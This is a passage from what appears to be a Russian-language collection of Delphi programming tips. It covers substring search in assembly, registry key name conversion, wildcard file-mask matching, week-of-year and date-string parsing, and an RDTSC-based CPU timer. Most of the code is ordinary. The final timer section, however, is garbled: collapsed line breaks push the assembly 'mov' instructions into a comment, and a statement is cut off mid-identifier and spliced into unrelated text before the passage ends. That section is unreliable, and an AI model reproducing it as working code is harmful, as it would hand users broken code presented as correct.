                                                { = Length(s) - Length(substr) + 1      }
        JLE     @@fail
@@loop:
        REPNE   SCASB
        JNE     @@fail
        MOV     EBX,ECX                         { save outer loop counter               }
        PUSH    ESI                             { save outer loop substr pointer        }
        PUSH    EDI                             { save outer loop s pointer             }

        MOV     ECX,EDX
        REPE    CMPSB
        POP     EDI                             { restore outer loop s pointer  }
        POP     ESI                             { restore outer loop substr pointer     }
        JE      @@found
        MOV     ECX,EBX                         { restore outer loop counter    }
        JMP     @@loop

@@fail:
        POP     EDX                             { get rid of saved s pointer    }
        XOR     EAX,EAX
        JMP     @@exit

@@stringEmpty:
        XOR     EAX,EAX
        JMP     @@noWork

@@found:
        POP     EDX                             { restore pointer to first char of s    }
        MOV     EAX,EDI                         { EDI points of char after match        }
        SUB     EAX,EDX                         { the difference is the correct index   }
@@exit:
        POP     EDI
        POP     ESI
        POP     EBX
@@noWork:
end; //SmartPosAsm

function cnsSmartPos(const substr : AnsiString; const s : AnsiString; StartPos : Cardinal) : Integer;
begin
  dec(StartPos);
  Result := SmartPosAsm(SubStr,S,StartPos);
  if Result > 0 then Result := Result + StartPos;
end; //cnsSmartPos


String --> HKEY

const
  HKEYNames: array[0..6] of string =
    ('HKEY_CLASSES_ROOT',
     'HKEY_CURRENT_USER',
     'HKEY_LOCAL_MACHINE',
     'HKEY_USERS',
     'HKEY_PERFORMANCE_DATA',
     'HKEY_CURRENT_CONFIG',
     'HKEY_DYN_DATA');

function StrToHKEY(const KEY: string): HKEY;
var
  i: Byte;
begin
  Result := $0;
  for i := Low(HKEYNames) to High(HKEYNames) do
  begin
    if SameText(HKEYNames[i], KEY) then
      Result := HKEY_CLASSES_ROOT + i;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


HKey --> String?

const
  HKEYNames: array[0..6] of string =
    ('HKEY_CLASSES_ROOT',
     'HKEY_CURRENT_USER',
     'HKEY_LOCAL_MACHINE',
     'HKEY_USERS',
     'HKEY_PERFORMANCE_DATA',
     'HKEY_CURRENT_CONFIG',
     'HKEY_DYN_DATA');

function HKEYToStr(const Key: HKEY): string;
begin
  if (key < HKEY_CLASSES_ROOT) or (key > HKEY_CLASSES_ROOT+6) then
    Result := ''
  else
    Result := HKEYNames[key - HKEY_CLASSES_ROOT];
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Инкрементация строкового поля

Свойства text элемента управления является строкой, в свою очередь являющейся массивом символом. Вы не можете осуществить преобразование символа в строку. Тем не менее, вы можете получить доступ ко всем символам строки через их индекс.

Попробуйте это:

var
  s: string;
begin
  s := RevField.text;
  s[1] := chr(ord(s[1]) + 1);
  RevField.text := s;
end;

Здесь кроются 2 проблемы:

Для увеличения значения вам необходимо извлекать символы из строки.

Хотя вы можете получить доступ к отдельным символам через выделение подстроки, данный метод не срабатывает у некоторых свойств, таких как, например, свойство TStringField Text.
Лучшим решением, по-видимому, будет написание специфической функции. Например, в случае, если revision-символ всегда является конечным символом строки, функция могла бы выглядеть следующим образом:

function IncrementTrailingVersionLetter(Str: string): string;
begin
  Str[Length(Str)] := Char(Ord(Str[Length(Str)]) + 1);
  IncrementTrailingVersionLetter := Str;
end;

и использовать ее следующим образом:

with RevField do
  Text := IncrementTrailingVersionLetter(Text);

Взято с http://delphiworld.narod.ru


Модуль поиска по маске (более совершеный нежели дельфийский masks)

unit awMachMask; // © Alexandr Petrovich Sysoev

interface

uses
  Classes
 ;

///////////////////////////////////////////////////// Работа со списком шаблонов
// Функции предназначены для сопоставления текстов (имен файлов) на
// соответствие заданному шаблону или списку шаблонов.
// Обычно используется для посторения простых фильтров, например аналогичных
// файловым фильтрам программы Total Commander.
//
// Каждый шаблон аналогичен шаблону имен файлов в MS-DOS и MS Windows,
// т.е. может включать "шаблонные" символы '*' и '?' и не может включать
// символ '|'.
// Любой шаблон может быть заключен в двойные кавычки ('''), при этом двойные
// кавычки имеющиеся в шаблоне должны быть удвоены. Если шаблон включает
// символы ';' или ' ' (пробел) то он обязательно должен быть заключен в
// двойные кавычки.
// В списке, шаблоны разделяются символом ';'.
// За первым списком шаблонов, может следовать символ '|', за которым может
// следовать второй список.
// Текст (имя файла) будет считаться соответствующим списку шаблонов только
// если он соответствует хотя бы одному шаблону из первого списка,
// и не соответствует ни одному шаблону из второго списка.
// Если первый список пуст, то подразумевается '*'
//
// Формальное описание синтаксиса списка шаблонов:
//
//    Полный список шаблонов      :: [<список включаемых шаблонов>]['|'<список исключаемых шаблонов>]
//    список включаемых шаблонов  :: <список шаблонов>
//    список исключаемых шаблонов :: <список шаблонов>
//    список шаблонов             :: <шаблон>[';'<шаблон>]
//    шаблон                      :: шаблон аналогичный шаблону имен файлов в
//                                   MS-DOS и MS Windows, т.е. может включать
//                                   "шаблонные" символы '*' и '?' и не может
//                                   включать символ '|'. Шаблон может быть
//                                   заключен в двойные кавычки (''') при этом
//                                   двойные кавычки имеющиеся в шаблоне должны
//                                   быть удвоены. Если шаблон включает символы
//                                   ';' или ' ' (пробел) то он
//                                   обязательно должен быть заключен в двойные
//                                   кавычки.
//
// Например:
//   '*.ini;*.wav'          - соответствует любым файлам с расшиениями 'ini'
//                            или 'wav'
//   '*.*|*.exe'            - соответствует любым файлам, кроме файлов с
//                            расширением 'EXE'
//   '*.mp3;*.wav|?.*;??.*' - соответствует любым файлам с расшиениями 'mp3'
//                            и 'wav' за исключением файлов у которых имя
//                            состоит из одного или двух символов.
//   '|awString.*'          - соответствует любым файлам за исключением файлов
//                            с именем awString и любым расширением.
//

Function IsMatchMask (aText, aMask :pChar ) :Boolean;                               overload;
Function IsMatchMask (aText, aMask :String; aFileNameMode :Boolean =True) :Boolean; overload;
  // Выполняют сопоставление текста aText с одним шаблоном aMask.
  // Возвращает True если сопоставление выполнено успешно, т.е. текст
  // aText соответствует шаблону aMask.
  // Если aFileNameModd=True, то объект используется для сопоставления
  // имен файлов с шаблоном. А именно, в этом случае, если aText не
  // содержит символа '.' то он добавляется в конец. Это необходимо для
  // того, чтобы файлы без расширений соответствовали например шаблону '*.*'

Function IsMatchMaskList (aText, aMaskList :String; aFileNameMode :Boolean =True): Boolean;
  // Выполняет сопоставление текста aText со списком шаблонов aMaskList.
  // Возвращает True если сопоставление выполнено успешно, т.е. текст
  // aText соответствует списку шаблонов aMaskList.
  // Если aFileNameModd=True, то объект используется для сопоставления
  // имен файлов с шаблоном. А именно, в этом случае, если aText не
  // содержит символа '.' то он добавляется в конец. Это необходимо для
  // того, чтобы файлы без расширений соответствовали например шаблону '*.*'
  //
  // Замечание, если требуется проверка сопоставления нескольких строк одному
  // списку шаблонов, эффективнее будет воспользоваться объектом tMatchMaskList.

Type
  tMatchMaskList = class(tObject)
    Private
      fMaskList      :String;
      fCaseSensitive :Boolean;
      fFileNameMode  :Boolean;

      fPrepared     :Boolean;
      fIncludeMasks :tStringList;
      fExcludeMasks :tStringList;

      procedure SetMaskList      (v :String );
      procedure SetCaseSensitive (v :Boolean);

    Public
      constructor Create (Const aMaskList :String ='');
        // Создает объект. Если задан параметр aMaskList, то он присваивается
        // свойству MaskList.

      destructor  Destroy;    override;
        // Разрушает объект

      procedure PrepareMasks;
        // Осуществляет компиляцию списка шаблонов во внутреннюю структуру
        // используемую при сопоставлении текста.
        // Вызов данного метода не является обязательным и при необходимости
        // будет вызван автоматически.

      Function IsMatch (aText :String) :Boolean;
        // Выполняет сопоставление текста aText со списком шаблонов MaskList.
        // Возвращает True если сопоставление выполнено успешно, т.е. текст
        // aText соответствует списку шаблонов MaskList.

      Property MaskList      :String   Read fMaskList        Write SetMaskList                     ;
        // Списко шаблонов используемый для сопоставления с текстом

      Property CaseSensitive :Boolean  Read fCaseSensitive   Write SetCaseSensitive   default False;
        // Если False (по умолчанию), то при сопоставлении текста будет
        // регистр символов не будет учитываться.
        // Иначе, если True, сопоставление будет проводиться с учетом регистра.

      Property FileNameMode :Boolean   Read fFileNameMode    Write fFileNameMode      default True;
        // Если True (по умолчанию), то объект используется для сопоставления
        // имен файлов с шаблоном. А именно, в этом случае, если aText не
        // содержит символа '.' то он добавляется в конец. Это необходимо для
        // того, чтобы файлы без расширений соответствовали например шаблону '*.*'

    End;

implementation

uses
  SysUtils
 ;

Function IsMatchMask (aText, aMask :pChar ) :Boolean;            overload;
begin
  Result := False;
  While  True  Do begin
    Case  aMask^  of
      '*'  :   // соответствует любому числу любых символов кроме конца строки
        begin
          // переместиться на очередной символ шаблона, при этом, подряд
          // идущие '*' эквивалентны одному, поэтому пропуск всех '*'
          repeat  Inc(aMask);  Until  (aMask^<>'*');
          // если за '*' следует любой символ кроме '?' то он должен совпасть
          // с символом в тексте. т.е. нужно пропустить все не совпадающие,
          // но не далее конца строки
          If  aMask^ <> '?'  then
            While  (aText^ <> #0) And (aText^ <> aMask^)  Do  Inc(aText);

          If  aText^ <> #0   Then begin  // не конец строки, значит совпал символ
            // '*' 'жадный' шаблон поэтому попробуем отдать совпавший символ
            // ему. т.е. проверить совпадение продолжения строки с шаблоном,
            // начиная с того-же '*'. если продолжение совпадает, то
            If  IsMatchMask (aText+1, aMask-1)  Then  Break;  // это СОВПАДЕНИЕ
            // продолжение не совпало, значит считаем что здесь закончилось
            // соответствие '*'. Продолжим сопоставление со следующего
            // символа шаблона
            Inc(aMask); Inc(aText);     //   иначе переходим к следующему символу
            End
          Else If  (aMask^ = #0)  Then  // конец строки и конец шаблона
            Break                       //     это СОВПАДЕНИЕ
          Else                          // конец строки но не конец шаблона
            Exit                        //     это НЕ СОВПАДЕНИЕ
        End;

      '?'  :   // соответствует любому кроме конца строки
        If (aText^ = #0)  Then          // конец строки
          Exit                          //     это НЕ СОВПАДЕНИЕ
        Else begin                      // иначе
          Inc(aMask); Inc(aText);       //   иначе переходим к следующему символу
        End;

      Else     // символ в шаблоне должен совпасть с символом в строке
        If  aMask^ <> aText^  Then      // символы не совпали -
          Exit                          //     это НЕ СОВПАДЕНИЕ
        Else begin                      // совпал очередной символ
          If  (aMask^ = #0)  Then       //   совпавший символ последний -
            Break;                      //     это СОВПАДЕНИЕ
          Inc(aMask); Inc(aText);       //   иначе переходим к следующему символу
        End;
    End;
  End;
  Result := True;
End;

Function IsMatchMask (aText, aMask :String; aFileNameMode :Boolean =True) :Boolean;            overload;
begin
  If  aFileNameMode And (Pos('.',aText)=0)  then  aText := aText+'.';
  Result := IsMatchMask(pChar(aText),pChar(aMask));
End;

Function IsMatchMaskList (aText, aMaskList :String; aFileNameMode :Boolean =True) :Boolean;
begin
  With  tMatchMaskList.Create(aMaskList)  Do try
    FileNameMode := aFileNameMode;
    Result := IsMatch(aText);
  finally
    Free;
  End;
End;

/////////////////////////////////////////////////////////// tFileMask

procedure tMatchMaskList.SetMaskList (v :String );
begin
  If  fMaskList = v  Then  Exit;
  fMaskList := v;
  fPrepared := False;
End;

procedure tMatchMaskList.SetCaseSensitive  (v :Boolean);
begin
  If  fCaseSensitive = v  Then  Exit;
  fCaseSensitive := v;
  fPrepared      := False;
End;

constructor tMatchMaskList.Create (Const aMaskList :String);
begin
  MaskList := aMaskList;
  fFileNameMode := True;

  fIncludeMasks := TStringList.Create;  With  fIncludeMasks  Do begin
    Delimiter  := ';';
//    Sorted     := True;
//    Duplicates := dupIgnore;
  End;

  fExcludeMasks := tStringList.Create;  With  fExcludeMasks  Do begin
    Delimiter  := ';';
//    Sorted     := True;
//    Duplicates := dupIgnore;
  End;
End;

destructor  tMatchMaskList.Destroy;
begin
  fIncludeMasks.Free;
  fExcludeMasks.Free;
End;

procedure tMatchMaskList.PrepareMasks;

  procedure CleanList(l :tStrings);
  var i :Integer;
  begin
    For  i := l.Count-1  downto  0  Do   If  l[i] = ''  then  l.Delete(i);
  End;

var
  s :String;
  i :Integer;
begin
  If  fPrepared  Then  Exit;

  If  CaseSensitive  Then
    s := MaskList
  Else
    s := UpperCase(MaskList);

  i := Pos('|',s);
  If  i =  0  Then begin
    fIncludeMasks.DelimitedText := s;
    fExcludeMasks.DelimitedText := '';
    End
  Else begin
    fIncludeMasks.DelimitedText := Copy(s,1,i-1);
    fExcludeMasks.DelimitedText := Copy(s,i+1,MaxInt);
  End;

  CleanList(fIncludeMasks);
  CleanList(fExcludeMasks);

  // если список включаемых шаблонов пуст а
  // список исключаемых шаблонов не пуст, то
  // имеется ввиду что список включаемых шаблонов равен <все файлы>
  If  (fIncludeMasks.Count = 0) And (fExcludeMasks.Count <> 0)  Then
    fIncludeMasks.Add('*');

  fPrepared := True;
End;

Function tMatchMaskList.IsMatch (aText :String) :Boolean;
var
  i :Integer;
begin
  Result := False;

  If  aText = ''  then  Exit;

  If  Not CaseSensitive  Then  aText := UpperCase(aText);

  If  FileNameMode And (Pos('.',aText)=0)  then  aText := aText+'.';

  If  Not fPrepared  Then  PrepareMasks;

  // поиск в списке "включаемых" масок до первого совпадения
  For  i := 0  To  fIncludeMasks.Count-1  Do
    If  IsMatchMask(PChar(aText),PChar(fIncludeMasks[i]))  Then begin
      Result := True;
      Break;
    End;

  // если совпадение найдено, надо проверить по списку "исключаемых"
  If  Result  Then
    For  i := 0  To  fExcludeMasks.Count-1  Do
      If  IsMatchMask(PChar(aText),PChar(fExcludeMasks[i]))  Then begin
        Result := False;
        Break;
      End;
End;

end.

Автор: Петрович

Взято из http://forum.sources.ru


Работа с датами и временем

Cодержание раздела:

Как узнать номер недели данного дня в году?
Как преобразовать строку в дату?
Скорость работы процессора, точный таймер
Как реализовать сверхточный таймер?
Как отчитывать промежутки времени с точностью, большей чем 60 мсек?
Работа со временем или как реализовать 1.20+1.50=3.10 ?
Как конвертировать RFC дату и обратно?
Как подсчитать возраст по дню рождения?
Как проверить, существует ли дата?
Конвертируем Unix дату
Как получить дату по Юлианскому календарю?
Как узнать об изменении системного времени New!
Как засечь время New!
Конвертируем TDateTime to Unix Timestamp New!

См. также другие разделы:
Системная дата и время
Шрифты, языки, кодировки, регионарные стандарты


Как узнать номер недели данного дня в году?

Вариант 1:

function WeekOfYear(ADate : TDateTime) : word;
var
  day : word;
  month : word;
  year : word;
  FirstOfYear : TDateTime;
begin
  DecodeDate(ADate, year, month, day);
  FirstOfYear := EncodeDate(year, 1, 1);
  Result := Trunc(ADate - FirstOfYear) div 7 + 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage(IntToStr(WeekOfYear(Date)));
end;

Вариант 2:

function WeekNum(const ADate: TDateTime): word;
var
  Year: word;
  Month: word;
  Day: word;
begin
  DecodeDate(ADate + 4 - DayOfWeek(ADate + 6), Year, Month, Day);
  result := 1 + trunc((ADate - EncodeDate(Year, 1, 5) +
      DayOfWeek(EncodeDate(Year, 1, 3))) / 7);
end;

Вариант 3:

function WeekOfYear(Dat: TDateTime): Word;
// Интерпретация номеров дней:
// ISO: 1 = Понедельник, 7 = Воскресенье
// Delphi SysUtils: 1 = Воскресенье, 7 = Суббота
var
  Day,
  Month,
  Year: Word;
  FirstDate: TDateTime;
  DateDiff : Integer;
begin
  day := SysUtils.DayOfWeek(Dat)-1;
  Dat := Dat + 3 - ((6 + day) mod 7);
  DecodeDate(Dat, Year, Month, Day);
  FirstDate := EncodeDate(Year, 1, 1);
  DateDiff  := Trunc(Dat - FirstDate);
  Result    := 1 + (DateDiff div 7);
end;

Взято из http://forum.sources.ru


Как преобразовать строку в дату?

Код распознаёт и русский и английский языки. Кстати вполне корректно обрабатывает и падежи типа:

2 мая 2002
май месяц 1999 года, 3е число
3е мая 1999 года
Солнечный апрельский день в 1998м году, 20е число

Корректно распознаёт что-нибудь типа

July 3, 99

но естественно не способен распознать

01-jan-03

т.е. год если двузначный, то должен быть больше 31. Иначе необоходим дополнительный параметер, указывающий годом считать первую или вторую найденную цифру в строке

Function StringToDate(Temp:String):TDateTime;
  {copiright (c) Vit, 2005}
  type TDateItem=(diYear, diMonth, diDay, diUnknown);
       TCharId=(ciAlpha, ciNumber, ciSpace);

  //языковые настройки. Для включения нового языка добавляем раскладку сюда, дополняем тип alpha и меняем
  //единственную строку где используется эта константа
  const
    eng_monthes:array[1..12] of string=('jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec');
    rus_monthes:array[1..12] of string=('янв', 'фев', 'мар', 'апр', 'ма', 'июн', 'июл', 'авг', 'сен', 'окт', 'ноя', 'дес');
    alpha:set of char=['a'..'z','а'..'я'];

  //временные переменные
  var month, day, year:string;
      temp1:string;
      i, j:integer;
      ci1, ci2:TCharId;

  Function GetWord(var temp:string):string;
  begin
    //возвращаем следующее слово из строки и вырезаем это слово из исходной строки
    if pos(' ', temp)>0 then
      begin //берём слово до пробела
        result:=trim(copy(temp, 1, pos(' ', temp)));
        temp:=copy(temp, pos(' ', temp)+1, length(temp));
      end
    else //это последнее слово в строке
      begin
        result:=trim(temp);
        temp:='';
      end;
  end;

  Function GetDateItemType(temp:string):TDateItem;
    var i, j:integer;
  begin
    //распознаём тип слова
    i:=StrToIntDef(temp,0); //попытка преобразовать слово в цифру
    Case i of
      0: Result:=diMonth; //не число, значит или месяц или мусор
      1..31:Result:=diDay;//числа от 1 до 31 считаем днём
      else Result:=diYear;//любые другие числа считаем годами
    End;
  end;

  Function GetCharId(ch:char):TCharId;
  begin
    //узнаём тип символа, нужно для распознавания "склееных" дней или лет с месяцем
    Case ch of
     ' ':Result:=ciSpace;
     '0'..'9':Result:=ciNumber;
     else Result:=ciAlpha;
    End;
  end;

begin
  temp:=trim(ansilowercase(temp));
  month:='';
  day:='';
  year:='';
//замена любого мусора на пробелы
  For i:=1 to length(temp) do
    if not (temp[i] in alpha+['0'..'9']) then temp[i]:=' ';

//удаление лишних пробелов
  while pos('  ', temp)>0 do
    Temp:=StringReplace(temp, '  ',' ',[rfReplaceAll]);

//вставка пробелов если месяц слеплен с днём или годом
  ci1:=GetCharId(temp[1]);
  i:=1;
  Repeat
    inc(i);
    ci2:=GetCharId(temp[i]);
    if ((ci1=ciAlpha) and (ci2=ciNumber)) or ((ci1=ciNumber) and (ci2=ciAlpha)) then
      insert(' ', temp, i);
    ci1:=ci2;
  Until i>=length(temp);

//собственно парсинг
  while temp>'' do
    begin
      temp1:=GetWord(temp);
      Case GetDateItemType(temp1) of
        diMonth: if month='' then  //только если месяц ещё не определён, уменьшает вероятность ошибочного результата
                   for i:=12 downto 1 do  // обязателен отсчёт в обратную сторону чтоб не путать май и март
                     if (pos(eng_monthes[i],temp1)=1) or (pos(rus_monthes[i],temp1)=1) then  //сюда добавляем ещё язык если надо
                       month:=inttostr(i);
        diDay:   Day:=temp1;
        diYear:  Year:=temp1;
      End;
    end;

//проверка - все ли элементы определены
  if (month='') or (Day='') or (Year='') then raise Exception.Create('Could not be converted!');

//поправка на двузначный год
  if length(year)<3 then year:='19'+year;

//кодирование результата
  Result:=EncodeDate(Strtoint(Year), Strtoint(month), Strtoint(Day));
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Функция StrToDate преобразует только числа, поэтому, если у Вас месяцы в виде имён, то прийдётся использовать VarToDateTime.

var
  D1, D2, D3 : TDateTime;
begin
D1 := VarToDateTime('December 6, 1969');
D2 := VarToDateTime('6-Apr-1998');
D3 := VarToDateTime('1998-Apr-6');
ShowMessage(DateToStr(D1)+' '+DateToStr(D2)+' '+
DateToStr(D3));
end;

Взято из http://forum.sources.ru

When extracting data from text or other operating systems the format of date strings can vary dramatically. Borland function StrToDateTime() converts a string to a TDateTime value, but it is limited to the fact that the string parameter must be in the format of the current locale's date/time format.

eg. "MM/DD/YY HH:MM:SS"

Answer:
This is of little use when extracting dates such as ..

1) "Friday 18 October 2002 08:34am (45 secs)" or "Wednesday 15 May 2002 06:12 (22 secs)"
2) "20020431"
3) "12.Nov.03"
4) "14 Hour 31 Minute 25 Second 321 MSecs"

This function will evaluate a DateTime string in accordance to the DateTime specifier format string supplied. The following specifiers are supported ...

dd the day as a number with a leading zero or space (01-31).
ddd the day as an abbreviation (Sun-Sat)
dddd the day as a full name (Sunday-Saturday)
mm the month as a number with a leading zero or space (01-12).
mmm the month as an abbreviation (Jan-Dec)
mmmm the month as a full name (January-December)
yy the year as a two-digit number (00-99).
yyyy the year as a four-digit number (0000-9999).
hh the hour with a leading zero or space (00-23)
nn the minute with a leading zero or space (00-59).
ss the second with a leading zero or space (00-59).
zzz the millisecond with a leading zero (000-999).
ampm Specifies am or pm flag hours (0..12)
ap Specifies a or p flag hours (0..12)
(Any other character corresponds to a literal or delimiter.)

NOTE : One assumption I have to make is that DAYS, MONTHS, HOURS and MINUTES have a leading ZERO or SPACE (ie. are 2 chars long) and MILLISECONDS are 3 chars long (ZERO or SPACE padded)

Using function
DateTimeStrEval(const DateTimeFormat : string; const DateTimeStr : string) : TDateTime;

The above Examples (1..4) can be evaluated as ... (Assume DT1 to DT4 equals example strings 1..4)

   1)MyDate := DateTimeStrEval('dddd dd mmmm yyyy hh:nnampm (ss xxxx)', DT1);
   2)MyDate := DateTimeStrEval('yyyymmdd', DT2);
   3)MyDate := DateTimeStrEval('dd-mmm-yy', DT3);
   4)MyDate := DateTimeStrEval('hh xxxx nn xxxxxx ss xxxxxx zzz xxxxx', DT4);

uses SysUtils, DateUtils

  // =============================================================================
  // Evaluate a date time string into a TDateTime obeying the
  // rules of the specified DateTimeFormat string
  // eg. DateTimeStrEval('dd-MMM-yyyy hh:nn','23-May-2002 12:34)
  //
  // Delphi 6 Specific in DateUtils can be translated to ....
  //
  // YearOf()
  //
  // function YearOf(const AValue: TDateTime): Word;
  // var LMonth, LDay : word;
  // begin
  //   DecodeDate(AValue,Result,LMonth,LDay);
  // end;
  //
  // TryEncodeDateTime()
  //
  // function TryEncodeDateTime(const AYear,AMonth,ADay,AHour,AMinute,ASecond,
  //                            AMilliSecond : word;
  //                            out AValue : TDateTime): Boolean;
  // var LTime : TDateTime;
  // begin
  //   Result := TryEncodeDate(AYear, AMonth, ADay, AValue);
  //   if Result then begin
  //     Result := TryEncodeTime(AHour, AMinute, ASecond, AMilliSecond, LTime);
  //     if Result then
  //        AValue := AValue + LTime;
  //   end;
  // end;
  //
  // (TryEncodeDate() and TryEncodeTime() is the same as EncodeDate() and
  //  EncodeTime() with error checking and boolean return value)
  //
  // =============================================================================

function DateTimeStrEval(const DateTimeFormat: string;
  const DateTimeStr: string): TDateTime;
var
  i, ii, iii: integer;
  Retvar: TDateTime;
  Tmp,
    Fmt, Data, Mask, Spec: string;
  Year, Month, Day, Hour,
    Minute, Second, MSec: word;
  AmPm: integer;
begin
  Year := 1;
  Month := 1;
  Day := 1;
  Hour := 0;
  Minute := 0;
  Second := 0;
  MSec := 0;
  Fmt := UpperCase(DateTimeFormat);
  Data := UpperCase(DateTimeStr);
  i := 1;
  Mask := '';
  AmPm := 0;

  while i < length(Fmt) do
  begin
    if Fmt[i] in ['A', 'P', 'D', 'M', 'Y', 'H', 'N', 'S', 'Z'] then
    begin
      // Start of a date specifier
      Mask := Fmt[i];
      ii := i + 1;

      // Keep going till not valid specifier
      while true do
      begin
        if ii > length(Fmt) then
          Break; // End of specifier string
        Spec := Mask + Fmt[ii];

        if (Spec = 'DD') or (Spec = 'DDD') or (Spec = 'DDDD') or
          (Spec = 'MM') or (Spec = 'MMM') or (Spec = 'MMMM') or
          (Spec = 'YY') or (Spec = 'YYY') or (Spec = 'YYYY') or
          (Spec = 'HH') or (Spec = 'NN') or (Spec = 'SS') or
          (Spec = 'ZZ') or (Spec = 'ZZZ') or
          (Spec = 'AP') or (Spec = 'AM') or (Spec = 'AMP') or
          (Spec = 'AMPM') then
        begin
          Mask := Spec;
          inc(ii);
        end
        else
        begin
          // End of or Invalid specifier
          Break;
        end;
      end;

      // Got a valid specifier ? - evaluate it from data string
      if (Mask <> '') and (length(Data) > 0) then
      begin
        // Day 1..31
        if (Mask = 'DD') then
        begin
          Day := StrToIntDef(trim(copy(Data, 1, 2)), 0);
          delete(Data, 1, 2);
        end;

        // Day Sun..Sat (Just remove from data string)
        if Mask = 'DDD' then
          delete(Data, 1, 3);

        // Day Sunday..Saturday (Just remove from data string LEN)
        if Mask = 'DDDD' then
        begin
          Tmp := copy(Data, 1, 3);
          for iii := 1 to 7 do
          begin
            if Tmp = Uppercase(copy(LongDayNames[iii], 1, 3)) then
            begin
              delete(Data, 1, length(LongDayNames[iii]));
              Break;
            end;
          end;
        end;

        // Month 1..12
        if (Mask = 'MM') then
        begin
          Month := StrToIntDef(trim(copy(Data, 1, 2)), 0);
          delete(Data, 1, 2);
        end;

        // Month Jan..Dec
        if Mask = 'MMM' then
        begin
          Tmp := copy(Data, 1, 3);
          for iii := 1 to 12 do
          begin
            if Tmp = Uppercase(copy(LongMonthNames[iii], 1, 3)) then
            begin
              Month := iii;
              delete(Data, 1, 3);
              Break;
            end;
          end;
        end;

        // Month January..December
        if Mask = 'MMMM' then
        begin
          Tmp := copy(Data, 1, 3);
          for iii := 1 to 12 do
          begin
            if Tmp = Uppercase(copy(LongMonthNames[iii], 1, 3)) then
            begin
              Month := iii;
              delete(Data, 1, length(LongMonthNames[iii]));
              Break;
            end;
          end;
        end;

        // Year 2 Digit
        if Mask = 'YY' then
        begin
          Year := StrToIntDef(copy(Data, 1, 2), 0);
          delete(Data, 1, 2);
          if Year < TwoDigitYearCenturyWindow then
            Year := (YearOf(Date) div 100) * 100 + Year
          else
            Year := (YearOf(Date) div 100 - 1) * 100 + Year;
        end;

        // Year 4 Digit
        if Mask = 'YYYY' then
        begin
          Year := StrToIntDef(copy(Data, 1, 4), 0);
          delete(Data, 1, 4);
        end;

        // Hours
        if Mask = 'HH' then
        begin
          Hour := StrToIntDef(trim(copy(Data, 1, 2)), 0);
          delete(Data, 1, 2);
        end;

        // Minutes
        if Mask = 'NN' then
        begin
          Minute := StrToIntDef(trim(copy(Data, 1, 2)), 0);
          delete(Data, 1, 2);
        end;

        // Seconds
        if Mask = 'SS' then
        begin
          Second := StrToIntDef(trim(copy(Data, 1, 2)), 0);
          delete(Data, 1, 2);
        end;

        // Milliseconds
        if (Mask = 'ZZ') or (Mask = 'ZZZ') then
        begin
          MSec := StrToIntDef(trim(copy(Data, 1, 3)), 0);
          delete(Data, 1, 3);
        end;

        // AmPm A or P flag
        if (Mask = 'AP') then
        begin
          if Data[1] = 'A' then
            AmPm := -1
          else
            AmPm := 1;
          delete(Data, 1, 1);
        end;

        // AmPm AM or PM flag
        if (Mask = 'AM') or (Mask = 'AMP') or (Mask = 'AMPM') then
        begin
          if copy(Data, 1, 2) = 'AM' then
            AmPm := -1
          else
            AmPm := 1;
          delete(Data, 1, 2);
        end;

        Mask := '';
        i := ii;
      end;
    end
    else
    begin
      // Remove delimiter from data string
      if length(Data) > 1 then
        delete(Data, 1, 1);
      inc(i);
    end;
  end;

  if AmPm = 1 then
    Hour := Hour + 12;
  if not TryEncodeDateTime(Year, Month, Day, Hour, Minute, Second, MSec, Retvar) then
    Retvar := 0.0;
  Result := Retvar;
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Скорость работы процессора, точный таймер

Данная тема уже обсуждалась, но у меня есть своя реализация сабжа. Начиная с Pentium MMX, Intel ввели в процессор счетчик тактов на 64 бита (Присутствует точно и в К6). Для того чтобы посмотреть на его содержание, была введена команда "rdtsc" (подробное описание в интеловской мануале). Эту возможность можно использовать для реализации сабжа.
Поскольку Дельфи не в курсе насчет rdtsc, то пришлось юзать опкод (0F31).
Привожу простенький примерчик юзания, Вы уж извините - немножко кривоват получился, да и ошибка компилятора какая-то вылезла :( (V4 Bld5.104 Upd 2). Кому интересно, поделитесь своими соображениями по этому поводу. Особенно интересует работа в режиме когда меняется частота процессора (Duty Cycle, Standby).

// (C) 1999 ISV
unit Unit1;interfaceuses  Windows, Messages, SysUtils, Classes, Graphics,
 Controls, Forms,Dialogs,  StdCtrls, Buttons, ExtCtrls;
type  TForm1 = class(TForm)
    Label1: TLabel;
    Timer1: TTimer;
    Label2: TLabel;
    Label3: TLabel;
    Button1: TButton;
    Button2: TButton;
    Label4: TLabel;
    procedure Timer1Timer(Sender: TObject);
    procedure FormActivate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
{ Private declarations }
  public
{ Public declarations }
    Counter:integer;
      //Счетчик срабатывания таймера
Start:int64;
//Начало роботы
Previous:int64;
//Предыдущее значение
PStart,PStop:int64;
 //Для примера выч. времени
 CurRate:integer;
     //Текущая частота проца
function GetCPUClick:int64;
function GetTime(Start,Stop:int64):double;
 end;
var  Form1: TForm1;implementation{$R *.DFM}
// Функция работает на пнях ММХ или выше а
// также проверялась на К6
function TForm1.GetCPUClick:int64;
begin
  asm    db  0fh,31h
// Опкод для команды rdtsc    mov dword ptr result,eax    mov dword ptr result[4],edx
end;
// Не смешно :(. Без ?той штуки
// Компайлер выдает Internal error C1079
Result:=Result;
end;
// Время в секундах между старт и стоп
function TForm1.GetTime(Start,Stop:int64):double;
begin
  try    result:=(Stop-Start)/CurRate  except    result:=0;
 end;
end;
// Обработчик таймера считает текущую частоту, выводит ее, а также
// усредненную частоту, текущий такт с момента старта процессора.
// При постоянной частоте процессора желательно интервал братьпобольше
// 1-5с для точного прощета частоты процессора.
procedure TForm1.Timer1Timer(Sender: TObject);
  var    i:int64;
begin
  i:=GetCPUClick;
  if Counter=0    then Start:=i    else
begin
      Label2.Caption:=Format('Частота общая:%2f',[(i-Start)/(Counter*Timer1.Interval*1000)]);
      Label3.Caption:=Format('Частота текущая:%2f',[(i-Previous)/(Timer1.Interval*1000)]);
      CurRate:=Round(((i-Previous)*1000)/(Timer1.Interval));
    end;
  Label1.Cap примера
procedure TForm1.Button1Click(Sender: TObject);
begin
  PStart:=GetCPUClick;
end;
// Останавливаем отсчет времени и показуем соко
// прошло секунд
